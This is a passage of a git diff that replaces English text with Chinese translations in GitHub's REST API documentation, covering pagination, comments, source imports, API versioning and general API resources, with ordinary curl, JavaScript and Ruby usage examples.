入门](/rest/guides/getting-started-with-the-rest-api#using-query-parameters)”。 + +例如,此请求使用 `per_page` 查询参数,每页返回两个项: + +```shell +curl --include --request GET \ +--url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2" \ +--header "Accept: application/vnd.github+json" +``` + +`per_page` 参数将自动包含在链接标头中。 例如: + +``` +link: ; rel="next", ; rel="last" +``` + +## 使用分页编写脚本 + +可以编写脚本来提取多页结果,而不是手动复制链接标头中的 URL。 + +以下示例使用 JavaScript 和 {% data variables.product.company_short %} 的 Octokit.js 库。 有关 Octokit.js 的详细信息,请参阅“[REST API 入门](/rest/guides/getting-started-with-the-rest-api?tool=javascript)”和 [Octokit.js 自述文件](https://github.com/octokit/octokit.js/#readme)。 + +### 使用 Octokit.js 分页方法的示例 + +若要使用 Octokit.js 提取分页结果,可以使用 `octokit.paginate()`。 `octokit.paginate()` 将提取下一个结果页到最后一页的结果,然后将所有结果作为单个数组返回。 一些终结点将分页结果作为对象中的数组返回,而不是以数组的形式返回分页结果。 `octokit.paginate()` 始终返回项的数组,即使原始结果为一个对象。 如果未对结果进行分页,则 `octokit.paginate()` 的作用将类似于 `octokit.request()`。 + +例如,此脚本从 `octocat/Spoon-Knife` 存储库获取所有问题。 虽然它一次请求 100 个问题,但函数在到达最后一页数据之前不会返回。 + +```javascript{:copy} +import { Octokit } from "octokit"; + +const octokit = new Octokit({ {% ifversion ghes or ghae %} + baseUrl: "{% data variables.product.api_url_code %}", +{% endif %}}); + +const data = await octokit.paginate("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + per_page: 100,{% ifversion api-date-versioning %} + headers: { + "X-GitHub-Api-Version": "{{ allVersions[currentVersion].latestApiVersion }}", + },{% endif %} +}); + +console.log(data) +``` + +可以将可选的 map 函数传递给 `octokit.paginate()`,从而在到达最后一页之前结束分页,或者通过仅保留部分响应来减少内存使用量。 还可以使用 `octokit.paginate.iterator()` 一次循环访问单个页面,而不是请求每个页面。 有关详细信息,请参阅 [Octokit.js 文档](https://github.com/octokit/octokit.js#pagination)。 + +### 创建分页方法的示例 + +如果使用的其他语言或库没有分页方法,则可以生成自己的分页方法。 此示例仍使用 Octokit.js 库发出请求,但不依赖于 `octokit.paginate()`。 + +`getPaginatedData` 函数使用 `octokit.request()` 向终结点发出请求。 响应中的数据由 `parseData` 处理,它处理以下两种情况:不返回数据或返回的数据是对象而不是数组。 然后,处理后的数据将追加到包含目前为止收集的所有分页数据的列表中。 如果响应包含链接标头,并且链接标头包含下一页的链接,则该函数使用 RegEx 模式 (`nextPattern`) 获取下一页的 URL。 然后,函数将重复上述步骤,现在使用此新 URL。 链接标头不再包含指向下一页的链接后,将返回所有结果。 + +```javascript{:copy} +import { Octokit } from "octokit"; + +const octokit = new Octokit({ {% ifversion ghes or ghae %} + baseUrl: "{% data variables.product.api_url_code %}", +{% endif %}}); + +async function getPaginatedData(url) { + const nextPattern = /(?<=<)([\S]*)(?=>; rel="Next")/i; + let pagesRemaining = true; + let data = []; + + while (pagesRemaining) { + const response = await octokit.request(`GET ${url}`, { + per_page: 100,{% ifversion api-date-versioning %} + headers: { + "X-GitHub-Api-Version": + "{{ allVersions[currentVersion].latestApiVersion }}", + },{% endif %} + }); + + const parsedData = parseData(response.data) + data = [...data, ...parsedData]; + + const linkHeader = response.headers.link; + + pagesRemaining = linkHeader && linkHeader.includes(`rel=\"next\"`); + + if (pagesRemaining) { + url = linkHeader.match(nextPattern)[0]; + } + } + + return data; +} + +function parseData(data) { + // If the data is an array, return that + if (Array.isArray(data)) { + return data + } + + // Some endpoints respond with 204 No Content instead of empty array + // when there is no data. In that case, return an empty array. + if (!data) { + return [] + } + + // Otherwise, the array of items that we want is in an object + // Delete keys that don't include the array of items + delete data.incomplete_results; + delete data.repository_selection; + delete data.total_count; + // Pull out the array of items + const namespaceKey = Object.keys(data)[0]; + data = data[namespaceKey]; + + return data; +} + +const data = await getPaginatedData("/repos/octocat/Spoon-Knife/issues"); + +console.log(data); +``` diff --git a/translations/zh-CN/content/rest/guides/working-with-comments.md b/translations/zh-CN/content/rest/guides/working-with-comments.md index 201ac1ffe3..902b7d95c3 100644 --- a/translations/zh-CN/content/rest/guides/working-with-comments.md +++ b/translations/zh-CN/content/rest/guides/working-with-comments.md @@ -1,6 +1,6 @@ --- -title: Working with comments -intro: 'Using the REST API, you can access and manage comments in your pull requests, issues, or commits.' +title: 处理注释 +intro: 使用 REST API,您可以访问和管理拉取请求、议题或提交中的注释。 redirect_from: - /guides/working-with-comments - /v3/guides/working-with-comments @@ -11,31 +11,26 @@ versions: ghec: '*' topics: - API +ms.openlocfilehash: 9b3b768d66199fda62bc5e644da9539d5425215e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145129040' --- +对于任何拉取请求,{% data variables.product.product_name %} 提供三种类型的注释视图:针对整个拉取请求的[拉取请求注释][PR comment]、针对拉取请求内的[特定行的注释][PR line comment],以及针对拉取请求内的[特定提交的注释][commit comment]。 +每种类型的评论都会经过 API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} 的不同部分。 +在本指南中,我们将探讨如何访问和处理每种注释。 对于每个示例,我们将使用在“octocat”存储库上[发出的此示例拉取请求][sample PR]。 和往常一样,可以在[平台示例存储库][platform-samples]中找到示例。 +## 拉取请求注释 -For any Pull Request, {% data variables.product.product_name %} provides three kinds of comment views: -[comments on the Pull Request][PR comment] as a whole, [comments on a specific line][PR line comment] within the Pull Request, -and [comments on a specific commit][commit comment] within the Pull Request. +若要访问针对拉取请求的注释,请浏览[问题 API][issues]。 +乍一看这似乎不符合直觉。 但是,一旦你理解了拉取请求只是包含代码的问题,使用问题 API 来针对拉取请求创建注释就合情合理了。 -Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. -In this guide, we'll explore how you can access and manipulate each one. For every -example, we'll be using [this sample Pull Request made][sample PR] on the "octocat" -repository. As always, samples can be found in [our platform-samples repository][platform-samples]. +我们将演示如何使用 [Octokit.rb][octokit.rb] 创建 Ruby 脚本来提取拉取请求注释。 你还需要创建[个人访问令牌][personal token]。 -## Pull Request Comments - -To access comments on a Pull Request, you'll go through [the Issues API][issues]. -This may seem counterintuitive at first. But once you understand that a Pull -Request is just an Issue with code, it makes sense to use the Issues API to -create comments on a Pull Request. - -We'll demonstrate fetching Pull Request comments by creating a Ruby script using -[Octokit.rb][octokit.rb]. You'll also want to create a [{% data variables.product.pat_generic %}][personal token]. - -The following code should help you get started accessing comments from a Pull Request -using Octokit.rb: +以下代码应该可以帮助你开始使用 Octokit.rb 访问拉取请求中的注释: ``` ruby require 'octokit' @@ -53,18 +48,13 @@ client.issue_comments("octocat/Spoon-Knife", 1176).each do |comment| end ``` -Here, we're specifically calling out to the Issues API to get the comments (`issue_comments`), -providing both the repository's name (`octocat/Spoon-Knife`), and the Pull Request ID -we're interested in (`1176`). After that, it's simply a matter of iterating through -the comments to fetch information about each one. +在这里,我们专门调用问题 API 来获取注释 (`issue_comments`),同时提供存储库的名称 (`octocat/Spoon-Knife`),以及我们感兴趣的拉取请求 ID (`1176`)。 之后,只需遍历注释以获取有关每个注释的信息即可。 -## Pull Request Comments on a Line +## 拉取请求行注释 -Within the diff view, you can start a discussion on a particular aspect of a singular -change made within the Pull Request. These comments occur on the individual lines -within a changed file. The endpoint URL for this discussion comes from [the Pull Request Review API][PR Review API]. +在差异视图中,你可以针对在拉取请求中进行的某个更改的特定方面开启讨论。 这些注释出现在已更改文件中的各个行上。 此讨论的终结点 URL 来自[拉取请求评审 API][PR Review API]。 -The following code fetches all the Pull Request comments made on files, given a single Pull Request number: +以下代码将获取文件中所做的所有拉取请求注释(给定一个拉取请求编号): ``` ruby require 'octokit' @@ -84,19 +74,15 @@ client.pull_request_comments("octocat/Spoon-Knife", 1176).each do |comment| end ``` -You'll notice that it's incredibly similar to the example above. The difference -between this view and the Pull Request comment is the focus of the conversation. -A comment made on a Pull Request should be reserved for discussion or ideas on -the overall direction of the code. A comment made as part of a Pull Request review should -deal specifically with the way a particular change was implemented within a file. +您会注意到,它与上面的示例非常相似。 此视图与拉取请求注释之间的不同之处在于对话的焦点。 +对拉取请求的注释应予以保留,以供讨论或就代码的总体方向提出意见。 在拉取请求评审中所做的注释应该以在文件中实施特定更改的方式进行专门处理。 -## Commit Comments +## 提交注释 -The last type of comments occur specifically on individual commits. For this reason, -they make use of [the commit comment API][commit comment API]. +最后一类注释专门针对单个提交。 因此,它们使用[提交注释 API][commit comment API]。 -To retrieve the comments on a commit, you'll want to use the SHA1 of the commit. -In other words, you won't use any identifier related to the Pull Request. Here's an example: +要检索对提交的注释,您需要使用该提交的 SHA1。 +换句话说,您不能使用与拉取请求相关的任何标识符。 下面是一个示例: ``` ruby require 'octokit' @@ -114,8 +100,7 @@ client.commit_comments("octocat/Spoon-Knife", "cbc28e7c8caee26febc8c013b0adfb97a end ``` -Note that this API call will retrieve single line comments, as well as comments made -on the entire commit. +请注意,此 API 调用将检索单行注释以及对整个提交所做的注释。 [PR comment]: https://github.com/octocat/Spoon-Knife/pull/1176#issuecomment-24114792 [PR line comment]: https://github.com/octocat/Spoon-Knife/pull/1176#discussion_r6252889 diff --git a/translations/zh-CN/content/rest/migrations/source-imports.md b/translations/zh-CN/content/rest/migrations/source-imports.md index 0034ccd814..3644b3e9be 100644 --- a/translations/zh-CN/content/rest/migrations/source-imports.md +++ b/translations/zh-CN/content/rest/migrations/source-imports.md @@ -1,5 +1,5 @@ --- -title: Source imports +title: 源导入 intro: '' versions: fpt: '*' @@ -7,15 +7,18 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 339b7f9543e91d2d33566435289b2092ef8c02e8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065768' --- +## 关于源导入 API -## About the Source imports API +{% data variables.migrations.source_imports_intro %} 如果导入中存在大型文件,则典型的源导入将开始导入,然后(可选)更新作者和/或更新使用 Git LFS 的首选项。 还可以创建一个用于侦听 [`RepositoryImportEvent`](/developers/webhooks-and-events/webhook-events-and-payloads#repository_import) 的 Webhook 来了解导入状态。 -{% data reusables.user-settings.imports-api-classic-pat-only %} - -{% data variables.migrations.source_imports_intro %} A typical source import would start the import and then (optionally) update the authors and/or update the preference for using Git LFS if large files exist in the import. You can also create a webhook that listens for the [`RepositoryImportEvent`](/developers/webhooks-and-events/webhook-events-and-payloads#repository_import) to find out the status of the import. - -A more detailed example can be seen in this diagram: +在此图中可以看到更详细的示例: ``` +---------+ +--------+ +---------------------+ diff --git a/translations/zh-CN/content/rest/overview/api-versions.md b/translations/zh-CN/content/rest/overview/api-versions.md index ac9abf4d55..b8d5820649 100644 --- a/translations/zh-CN/content/rest/overview/api-versions.md +++ b/translations/zh-CN/content/rest/overview/api-versions.md @@ -4,12 +4,12 @@ shortTitle: API Versions intro: 必须指定在向 REST API 发出请求时要使用的 REST API 版本。 versions: feature: api-date-versioning -ms.openlocfilehash: c1209120fab4c4cc26962991ad48b76638627db5 -ms.sourcegitcommit: d2f0b59ed096b9e68ef8f6fa019cd925165762ec +ms.openlocfilehash: 6689d8c342930a44c7d243c3872cdc431007eb1c +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 11/29/2022 -ms.locfileid: '148184391' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192863' --- ## 关于 API 版本控制 diff --git a/translations/zh-CN/content/rest/overview/resources-in-the-rest-api.md b/translations/zh-CN/content/rest/overview/resources-in-the-rest-api.md index 72517b3318..6124d6d6fd 100644 --- a/translations/zh-CN/content/rest/overview/resources-in-the-rest-api.md +++ b/translations/zh-CN/content/rest/overview/resources-in-the-rest-api.md @@ -1,6 +1,6 @@ --- -title: Resources in the REST API -intro: 'Learn how to navigate the resources provided by the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.' +title: REST API 中的资源 +intro: '了解如何导航 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 提供的资源。' redirect_from: - /rest/initialize-the-repo versions: @@ -11,19 +11,23 @@ versions: miniTocMaxHeadingLevel: 3 topics: - API +ms.openlocfilehash: c7928ce90b887d6fa3bd5342fc1633b3e30983f1 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192847' --- - {% ifversion api-date-versioning %} -## API version +## API 版本 -Available resources may vary between REST API versions. You should use the `X-GitHub-Api-Version` header to specify an API version. For more information, see "[API Versions](/rest/overview/api-versions)." +可用资源可能因不同的 REST API 版本而异。 应使用 `X-GitHub-Api-Version` 标头指定 API 版本。 有关详细信息,请参阅“[API 版本](/rest/overview/api-versions)”。 {% endif %} -## Schema +## 架构 -{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`. All data is -sent and received as JSON. +{% ifversion fpt or ghec %}所有 API 访问都通过 HTTPS 进行,并且{% else %}API{% endif %} 从 `{% data variables.product.api_url_code %}` 进行访问。 所有数据都以 JSON 格式发送和接收。 ```shell $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs @@ -44,55 +48,45 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs > X-Content-Type-Options: nosniff ``` -Blank fields are included as `null` instead of being omitted. +空白字段包含为 `null`,而不是被省略。 -All timestamps return in UTC time, ISO 8601 format: +所有时间戳以 ISO 8601 格式返回 UTC 时间: YYYY-MM-DDTHH:MM:SSZ -For more information about timezones in timestamps, see [this section](#timezones). +有关时间戳中的时区的详细信息,请参阅[本部分](#timezones)。 -### Summary representations +### 摘要表示 -When you fetch a list of resources, the response includes a _subset_ of the -attributes for that resource. This is the "summary" representation of the -resource. (Some attributes are computationally expensive for the API to provide. -For performance reasons, the summary representation excludes those attributes. -To obtain those attributes, fetch the "detailed" representation.) +提取资源列表时,响应包含该资源的属性子集。 这就是资源的“摘要”表示形式。 (对于某些属性,API 要经过大量计算后才可提供。 +出于性能考虑,摘要表示排除了这些属性。 +要获得这些属性,请获取“详细”表示。) -**Example**: When you get a list of repositories, you get the summary -representation of each repository. Here, we fetch the list of repositories owned -by the [octokit](https://github.com/octokit) organization: +示例:在获取存储库列表时,会获取每个存储库的摘要表示形式。 在这里,我们提取 [octokit](https://github.com/octokit) 组织拥有的存储库列表: GET /orgs/octokit/repos -### Detailed representations +### 详细表示 -When you fetch an individual resource, the response typically includes _all_ -attributes for that resource. This is the "detailed" representation of the -resource. (Note that authorization sometimes influences the amount of detail -included in the representation.) +提取单个资源时,响应通常包含该资源的所有属性。 这就是资源的“详细”表示形式。 (请注意,授权有时会影响表示形式中包含的详细信息量。) -**Example**: When you get an individual repository, you get the detailed -representation of the repository. Here, we fetch the -[octokit/octokit.rb](https://github.com/octokit/octokit.rb) repository: +示例:在获取单个存储库时,会获取该存储库的详细表示形式。 在这里,我们提取 [octokit/octokit.rb](https://github.com/octokit/octokit.rb) 存储库: GET /repos/octokit/octokit.rb -The documentation provides an example response for each API method. The example -response illustrates all attributes that are returned by that method. +本文档提供每种 API 方法的示例响应。 示例响应说明了该方法返回的所有属性。 -## Authentication +## 身份验证 -{% ifversion ghae %} We recommend authenticating to the {% data variables.product.product_name %} REST API by creating an OAuth2 token through the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} There are two ways to authenticate through {% data variables.product.product_name %} REST API.{% endif %} Requests that require authentication will return `404 Not Found`, instead of `403 Forbidden`, in some places. This is to prevent the accidental leakage of private repositories to unauthorized users. +{% ifversion ghae %} 建议通过 [Web 应用程序流](/developers/apps/authorizing-oauth-apps#web-application-flow)创建 OAuth2 令牌,对 {% data variables.product.product_name %} REST API 进行身份验证。 {% else %} 有两种方式可用于通过 {% data variables.product.product_name %} REST API 进行身份验证。{% endif %}在某些地方,需要身份验证的请求将返回 `404 Not Found` 而不是 `403 Forbidden`。 这是为了防止私有仓库意外泄露给未经授权的用户。 -### Basic authentication +### 基本身份验证 ```shell $ curl -u "username" {% data variables.product.api_url_pre %} ``` -### OAuth2 token (sent in a header) +### OAuth2 令牌(在标头中发送) ```shell $ curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %} @@ -100,20 +94,20 @@ $ curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_ {% note %} -Note: GitHub recommends sending OAuth tokens using the Authorization header. +注:GitHub 建议使用授权标头发送 OAuth 令牌。 {% endnote %} {% note %} -**Note:** {% data reusables.getting-started.bearer-vs-token %} +注意:{% data reusables.getting-started.bearer-vs-token %} {% endnote %} -Read [more about OAuth2](/apps/building-oauth-apps/). Note that OAuth2 tokens can be acquired using the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow) for production applications. +阅读[有关 OAuth2 的详细信息](/apps/building-oauth-apps/)。 请注意,可以使用用于生产应用程序的 [Web 应用程序流](/developers/apps/authorizing-oauth-apps#web-application-flow)来获取 OAuth2 令牌。 {% ifversion fpt or ghes or ghec %} -### OAuth2 key/secret +### OAuth2 键/密钥 {% data reusables.apps.deprecating_auth_with_query_parameters %} @@ -121,22 +115,20 @@ Read [more about OAuth2](/apps/building-oauth-apps/). Note that OAuth2 tokens c curl -u my_client_id:my_client_secret '{% data variables.product.api_url_pre %}/user/repos' ``` -Using your `client_id` and `client_secret` does _not_ authenticate as a user, it will only identify your OAuth App to increase your rate limit. Permissions are only granted to users, not applications, and you will only get back data that an unauthenticated user would see. For this reason, you should only use the OAuth2 key/secret in server-to-server scenarios. Don't leak your OAuth App's client secret to your users. +使用 `client_id` 和 `client_secret` 不会以用户身份进行身份验证,它只会识别 OAuth 应用以增加速率限制。 权限仅授予用户,而不授予应用程序,因此只会返回未经验证用户可以看到的数据。 因此,您应该仅在服务器到服务器的场景中使用 OAuth2 键/密钥。 不要将 OAuth 应用程序的客户端密钥泄露给用户。 -{% ifversion ghes %} -You will be unable to authenticate using your OAuth2 key and secret while in private mode, and trying to authenticate will return `401 Unauthorized`. For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)". -{% endif %} -{% endif %} +{% ifversion ghes %} 在专用模式下,无法使用 OAuth2 密钥和机密进行身份验证,并且尝试进行身份验证将返回 `401 Unauthorized`。 有关详细信息,请参阅“[启用专用模式](/admin/configuration/configuring-your-enterprise/enabling-private-mode)”。 +{% endif %} {% endif %} {% ifversion fpt or ghec %} -Read [more about unauthenticated rate limiting](#increasing-the-unauthenticated-rate-limit-for-oauth-apps). +阅读[有关未经身份验证的速率限制的详细信息](#increasing-the-unauthenticated-rate-limit-for-oauth-apps)。 {% endif %} -### Failed login limit +### 失败登录限制 -Authenticating with invalid credentials will return `401 Unauthorized`: +使用无效凭据进行身份验证将返回 `401 Unauthorized`: ```shell $ curl -I {% data variables.product.api_url_pre %} -u foo:bar @@ -148,9 +140,7 @@ $ curl -I {% data variables.product.api_url_pre %} -u foo:bar > } ``` -After detecting several requests with invalid credentials within a short period, -the API will temporarily reject all authentication attempts for that user -(including ones with valid credentials) with `403 Forbidden`: +在短时间内检测到多个使用无效凭据的请求后,API 将暂时拒绝该用户的所有身份验证尝试(包括使用有效凭据的尝试),并返回 `403 Forbidden`: ```shell $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae or ghec %} @@ -162,62 +152,55 @@ $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae o > } ``` -## Parameters +## 参数 -Many API methods take optional parameters. For `GET` requests, any parameters not -specified as a segment in the path can be passed as an HTTP query string -parameter: +许多 API 方法采用可选参数。 对于 `GET` 请求,路径中任何未指定为段的参数都可以作为 HTTP 查询字符串参数进行传递: ```shell $ curl -i "{% data variables.product.api_url_pre %}/repos/vmg/redcarpet/issues?state=closed" ``` -In this example, the 'vmg' and 'redcarpet' values are provided for the `:owner` -and `:repo` parameters in the path while `:state` is passed in the query -string. +在此示例中,在查询字符串中传递 `:state` 时,为路径中的 `:owner` 和 `:repo` 参数提供“vmg”和“redcarpet”值。 -For `POST`, `PATCH`, `PUT`, and `DELETE` requests, parameters not included in the URL should be encoded as JSON -with a Content-Type of 'application/json': +对于 `POST`、`PATCH`、`PUT` 和 `DELETE` 请求,未包含在 URL 中的参数应编码为 JSON,内容类型为“application/json”: ```shell $ curl -i -u username -d '{"scopes":["repo_deployment"]}' {% data variables.product.api_url_pre %}/authorizations ``` -## Root endpoint +## 根终结点 -You can issue a `GET` request to the root endpoint to get all the endpoint categories that the REST API supports: +可以向根终结点发出 `GET` 请求,以获取 REST API 支持的所有终结点类别: ```shell $ curl {% ifversion fpt or ghae or ghec %} -u USERNAME:TOKEN {% endif %}{% ifversion ghes %}-u USERNAME:PASSWORD {% endif %}{% data variables.product.api_url_pre %} ``` -## GraphQL global node IDs +## GraphQL 全局节点 ID -See the guide on "[Using Global Node IDs](/graphql/guides/using-global-node-ids)" for detailed information about how to find `node_id`s via the REST API and use them in GraphQL operations. +有关如何通过 REST API 查找 `node_id` 并在 GraphQL 操作中使用它们的详细信息,请参阅有关“[使用全局节点 ID](/graphql/guides/using-global-node-ids)”的指南。 -## Client errors +## 客户端错误 -There are three possible types of client errors on API calls that -receive request bodies: +接收请求正文的 API 调用上可能存在三种类型的客户端错误: -1. Sending invalid JSON will result in a `400 Bad Request` response. +1. 发送无效的 JSON 将导致 `400 Bad Request` 响应。 HTTP/2 400 Content-Length: 35 {"message":"Problems parsing JSON"} -2. Sending the wrong type of JSON values will result in a `400 Bad - Request` response. +2. 发送错误类型的 JSON 值将导致 `400 Bad + Request` 响应。 HTTP/2 400 Content-Length: 40 {"message":"Body should be a JSON object"} -3. Sending invalid fields will result in a `422 Unprocessable Entity` - response. +3. 发送无效字段将导致 `422 Unprocessable Entity` 响应。 HTTP/2 422 Content-Length: 149 @@ -233,60 +216,47 @@ receive request bodies: ] } -All error objects have resource and field properties so that your client -can tell what the problem is. There's also an error code to let you -know what is wrong with the field. These are the possible validation error -codes: +所有错误对象都具有资源和字段属性,以便客户端可以知道问题所在。 还有一个错误代码,让你知道该字段有什么问题。 以下是可能的验证错误代码: -Error code name | Description +错误代码名称 | 说明 -----------|-----------| -`missing` | A resource does not exist. -`missing_field` | A required field on a resource has not been set. -`invalid` | The formatting of a field is invalid. Review the documentation for more specific information. -`already_exists` | Another resource has the same value as this field. This can happen in resources that must have some unique key (such as label names). -`unprocessable` | The inputs provided were invalid. +`missing` | 资源不存在。 +`missing_field` | 资源上的必需字段尚未设置。 +`invalid` | 字段的格式无效。 请查看文档以了解更具体的信息。 +`already_exists` | 另一个资源具有与此字段相同的值。 在必须具有某些唯一键(例如标签名称)的资源中可能会发生这种情况。 +`unprocessable` | 提供的输入无效。 -Resources may also send custom validation errors (where `code` is `custom`). Custom errors will always have a `message` field describing the error, and most errors will also include a `documentation_url` field pointing to some content that might help you resolve the error. +资源还可能发送自定义验证错误(其中 `code` 为 `custom`)。 自定义错误将始终包含一个描述错误的 `message` 字段,大多数错误还将包括一个 `documentation_url` 字段,该字段指向可能有助于解决错误的某些内容。 -## HTTP redirects +## HTTP 重定向 -The {% data variables.product.product_name %} REST API uses HTTP redirection where appropriate. Clients should assume that any -request may result in a redirection. Receiving an HTTP redirection is *not* an -error and clients should follow that redirect. Redirect responses will have a -`Location` header field which contains the URI of the resource to which the -client should repeat the requests. +{% data variables.product.product_name %} 在适当情况下使用 HTTP 重定向。 客户端应假定任何请求都可能会导致重定向。 接收 HTTP 重定向不是错误,客户端应遵循该重定向。 重定向响应将包含一个 `Location` 标头字段,其中包含客户端应重复请求的资源的 URI。 -Status Code | Description +状态代码 | 说明 -----------|-----------| -`301` | Permanent redirection. The URI you used to make the request has been superseded by the one specified in the `Location` header field. This and all future requests to this resource should be directed to the new URI. -`302`, `307` | Temporary redirection. The request should be repeated verbatim to the URI specified in the `Location` header field but clients should continue to use the original URI for future requests. +`301` | 永久重定向。 用于发出请求的 URI 已被 `Location` 标头字段中指定的 URI 所取代。 此请求以及对此资源的所有未来请求都应定向到新的 URI。 +`302`, `307` | 临时重定向。 请求应按 `Location` 标头字段中指定的 URI 逐字重复,但客户端应对未来的请求继续使用原来的 URI。 -Other redirection status codes may be used in accordance with the HTTP 1.1 spec. +其他重定向状态代码可根据 HTTP 1.1 规范使用。 -## HTTP verbs +## HTTP 谓词 -Where possible, the {% data variables.product.product_name %} REST API strives to use appropriate HTTP verbs for each -action. Note that HTTP verbs are case-sensitive. +在可能的情况下,{% data variables.product.product_name %} REST API 尽量为每个操作使用适当的 Http 谓词。 请注意,HTTP 谓词区分大小写。 -Verb | Description +谓词 | 说明 -----|----------- -`HEAD` | Can be issued against any resource to get just the HTTP header info. -`GET` | Used for retrieving resources. -`POST` | Used for creating resources. -`PATCH` | Used for updating resources with partial JSON data. For instance, an Issue resource has `title` and `body` attributes. A `PATCH` request may accept one or more of the attributes to update the resource. -`PUT` | Used for replacing resources or collections. For `PUT` requests with no `body` attribute, be sure to set the `Content-Length` header to zero. -`DELETE` |Used for deleting resources. +`HEAD` | 可以针对任何资源发出以仅获取 HTTP 标头信息。 +`GET` | 用于检索资源。 +`POST` | 用于创建资源。 +`PATCH` | 用于通过部分 JSON 数据更新资源。 例如,问题资源具有 `title` 和 `body` 属性。 `PATCH` 请求可以接受一个或多个属性来更新资源。 +`PUT` | 用于替换资源或集合。 对于没有 `body` 属性的 `PUT` 请求,请确保将 `Content-Length` 标头设置为零。 +`DELETE` |用于删除资源。 -## Hypermedia +## 超媒体 -All resources may have one or more `*_url` properties linking to other -resources. These are meant to provide explicit URLs so that proper API clients -don't need to construct URLs on their own. It is highly recommended that API -clients use these. Doing so will make future upgrades of the API easier for -developers. All URLs are expected to be proper [RFC 6570][rfc] URI templates. +所有资源都可以具有一个或多个链接到其他资源的 `*_url` 属性。 这些属性旨在提供明确的 URL,使适当的 API 客户端不需要自己构建 URL。 强烈建议 API 客户端使用这些属性。 这样做有助于开发者未来更容易升级 API。 所有 URL 都应该是适当的 [RFC 6570][rfc] URI 模板。 -You can then expand these templates using something like the [uri_template][uri] -gem: +然后,可以使用 [uri_template][uri] gem 之类的内容来扩展这些模板: >> tmpl = URITemplate.new('/notifications{?since,all,participating}') >> tmpl.expand @@ -301,13 +271,13 @@ gem: [rfc]: https://datatracker.ietf.org/doc/html/rfc6570 [uri]: https://github.com/hannesg/uri_template -## Pagination +## 分页 -When a response from the REST API would include many results, {% data variables.product.company_short %} will paginate the results and return a subset of the results. You can use the link header from the response to request additional pages of data. If an endpoint supports the `per_page` query parameter, then you can control how many results are returned on a page. For more information about pagination, see "[Using pagination in the REST API](/rest/guides/using-pagination-in-the-rest-api)." +当 REST API 的响应包含许多结果时,{% data variables.product.company_short %} 将对结果进行分页并返回部分结果。 可以使用响应中的链接标头来请求其他数据页。 如果终结点支持 `per_page` 查询参数,则可以控制在页面上返回的结果数。 有关分页的详细信息,请参阅“[在 REST API 中使用分页](/rest/guides/using-pagination-in-the-rest-api)”。 -## Timeouts +## 超时 -If {% data variables.product.prodname_dotcom %} takes more than 10 seconds to process an API request, {% data variables.product.prodname_dotcom %} will terminate the request and you will receive a timeout response like this: +如果 {% data variables.product.prodname_dotcom %} 处理 API 请求的时间超过 10 秒,{% data variables.product.prodname_dotcom %} 将终止请求,你将收到如下所示的超时响应: ```json { @@ -315,23 +285,23 @@ If {% data variables.product.prodname_dotcom %} takes more than 10 seconds to pr } ``` -{% data variables.product.product_name %} reserves the right to change the timeout window to protect the speed and reliability of the API. +{% data variables.product.product_name %} 保留更改超时窗口的权利,以保护 API 的速度和可靠性。 -## Rate limiting +## 速率限制 -Different types of API requests to {% data variables.location.product_location %} are subject to different rate limits. +对 {% data variables.location.product_location %} 的不同类型的 API 请求遵循不同的费率限制。 -Additionally, the Search API has dedicated limits. For more information, see "[Search](/rest/reference/search#rate-limit)" in the REST API documentation. +此外,搜索 API 有专门的限制。 有关详细信息,请参阅 REST API 文档中的“[搜索](/rest/reference/search#rate-limit)”。 {% data reusables.enterprise.rate_limit %} {% data reusables.rest-api.always-check-your-limit %} -### Requests from personal accounts +### 来自个人帐户的请求 -Direct API requests that you authenticate with a {% data variables.product.pat_generic %} are user-to-server requests. An OAuth App or GitHub App can also make a user-to-server request on your behalf after you authorize the app. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)," "[Authorizing OAuth Apps](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)," and "[Authorizing GitHub Apps](/authentication/keeping-your-account-and-data-secure/authorizing-github-apps)." +使用 {% data variables.product.pat_generic %} 进行身份验证的直接 API 请求是用户到服务器的请求。 OAuth 应用程序或 GitHub 应用程序也可以在您授权应用程序后代表您提出用户到服务器的请求。 有关详细信息,请参阅“[创建 {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)”、“[授权 OAuth 应用](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)”和“[授权 GitHub 应用](/authentication/keeping-your-account-and-data-secure/authorizing-github-apps)”。 -{% data variables.product.product_name %} associates all user-to-server requests with the authenticated 